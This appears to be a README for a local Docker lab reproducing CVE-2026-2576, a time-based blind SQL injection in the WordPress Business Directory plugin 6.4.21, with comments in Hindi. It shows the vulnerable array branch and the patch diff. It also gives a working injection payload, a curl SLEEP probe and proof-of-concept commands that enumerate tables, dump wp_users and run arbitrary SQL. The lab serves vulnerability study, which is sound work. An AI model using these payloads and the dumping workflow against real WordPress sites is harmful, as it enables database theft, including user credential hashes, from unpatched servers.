private function filter_args( $args ) {
    $filters = array();

    foreach ( $args as $f => $v ) {
        $op = '=';
        // ...

        if ( is_array( $v ) ) {
            // ❌ असुरक्षित — कोई सैनिटाइज़ेशन नहीं, सीधे स्ट्रिंग संयोजन
            $filters[] = "$f IN ('" . implode( "','", $v ) . "')";
        } else {
            // ✓ सुरक्षित — $wpdb->prepare() का उपयोग करता है
            $filters[] = $this->db->prepare( "$f $op %s", $v );
        }
    }

    return $filters;
}

// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
    $this->payment = WPBDP_Payment::objects()->get(
        array( 'payment_key' => $payment_id )  // $payment_id मान के रूप में पारित किया गया
    );
}

GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>

  PHP: $_REQUEST['payment'] = ['<payload>']   ← [] नोटेशन के कारण सरणी
                    |
                    v
  class-checkout.php: fetch_payment()
                    |
                    v
  WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
                    |
                    v
  class-db-query-set.php: filter_args()
      => is_array($v) == TRUE → असुरक्षित शाखा
      => "$f IN ('" . implode("','", $v) . "')"
                    |
                    v
  MySQL: SELECT * FROM wp_wpbdp_payments
         WHERE payment_key IN ('<payload>')

payment[]=<key>') AND IF((<condition>),SLEEP(N),0)-- -

SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condition>),SLEEP(N),0)-- -')

// पहले (असुरक्षित)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";

// बाद में (पैच किया गया)
$escaped   = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";

pip3 install requests colorama --break-system-packages

cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini

cd cve-2026-2576-lab
docker compose up -d --build

docker compose up setup

╔══════════════════════════════════════════════════════════╗
║           प्रयोगशाला सेटअप पूर्ण!                            ║
╠══════════════════════════════════════════════════════════╣
║  WordPress:   http://localhost:8080                      ║
║  WP Admin:    http://localhost:8080/wp-admin             ║
║  phpMyAdmin:  http://localhost:8082                      ║
╠══════════════════════════════════════════════════════════╣
║  admin / admin123                                        ║
║  victim / victimpass123                                  ║
╠══════════════════════════════════════════════════════════╣
║  प्लगइन: 6.4.21 (असुरक्षित)                             ║
║  BD पेज ID: 4                                           ║
╚══════════════════════════════════════════════════════════╝

docker exec lab_wordpress bash -c \
  "grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
  | head -1"
# अपेक्षित: * Version: 6.4.21

docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"

+----+--------------+---------+
| id | payment_key  | status  |
+----+--------------+---------+
|  1 | seed-pay-001 | pending |
+----+--------------+---------+

docker compose up -d pma
# http://localhost:8082 पर एक्सेस करें  (root / rootpass)

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --detect

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --extract-db

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --tables

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table lab_secrets

python3 poc/poc.py --target http://localhost:8080 --page-id 4  --payment-key seed-pay-001 --custom-sql "SELECT secret_value FROM lab_secrets WHERE label='flag'"  

# सबसे तेज़ निष्कर्षण
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users --sleep 1 --threads 8

# आधार रेखा: < 0.1s में वापस आना चाहिए
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=seed-pay-001"

# स्लीप प्रोब: ~4s में वापस आना चाहिए (SLEEP(2) × 2 निष्पादन)
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"seed-pay-001') AND SLEEP(2)-- -\"))")" 

python3 poc/patch_diff.py 

# पूर्ण डिफ के लिए
python3 poc/patch_diff.py --full

# दोनों संस्करण डाउनलोड करें
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.21/ /tmp/v6421
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.22/ /tmp/v6422

# असुरक्षित फ़ाइल का डिफ करें
diff -u /tmp/v6421/includes/db/class-db-query-set.php /tmp/v6422/includes/db/class-db-query-set.php

# प्रयोगशाला रोकें (डेटा संरक्षित रहता है)
docker compose stop

# पुनः प्रारंभ करें
docker compose start

# पूर्ण टियरडाउन — सभी वॉल्यूम और डेटा नष्ट करता है
docker compose down -v

# शुरू से सेटअप फिर से चलाएं
docker compose down -v && docker compose up setup

# WordPress कंटेनर में शेल
docker exec -it lab_wordpress bash

# WordPress PHP त्रुटि लॉग देखें
docker exec lab_wordpress tail -f /var/www/html/wp-content/debug.log

# MySQL क्वेरी लॉग को वास्तविक समय में देखें
docker exec lab_mysql mysql -uroot -prootpass -e "SET GLOBAL general_log=1; SET GLOBAL general_log_file='/tmp/mysql.log';"

docker exec lab_mysql tail -f /tmp/mysql.log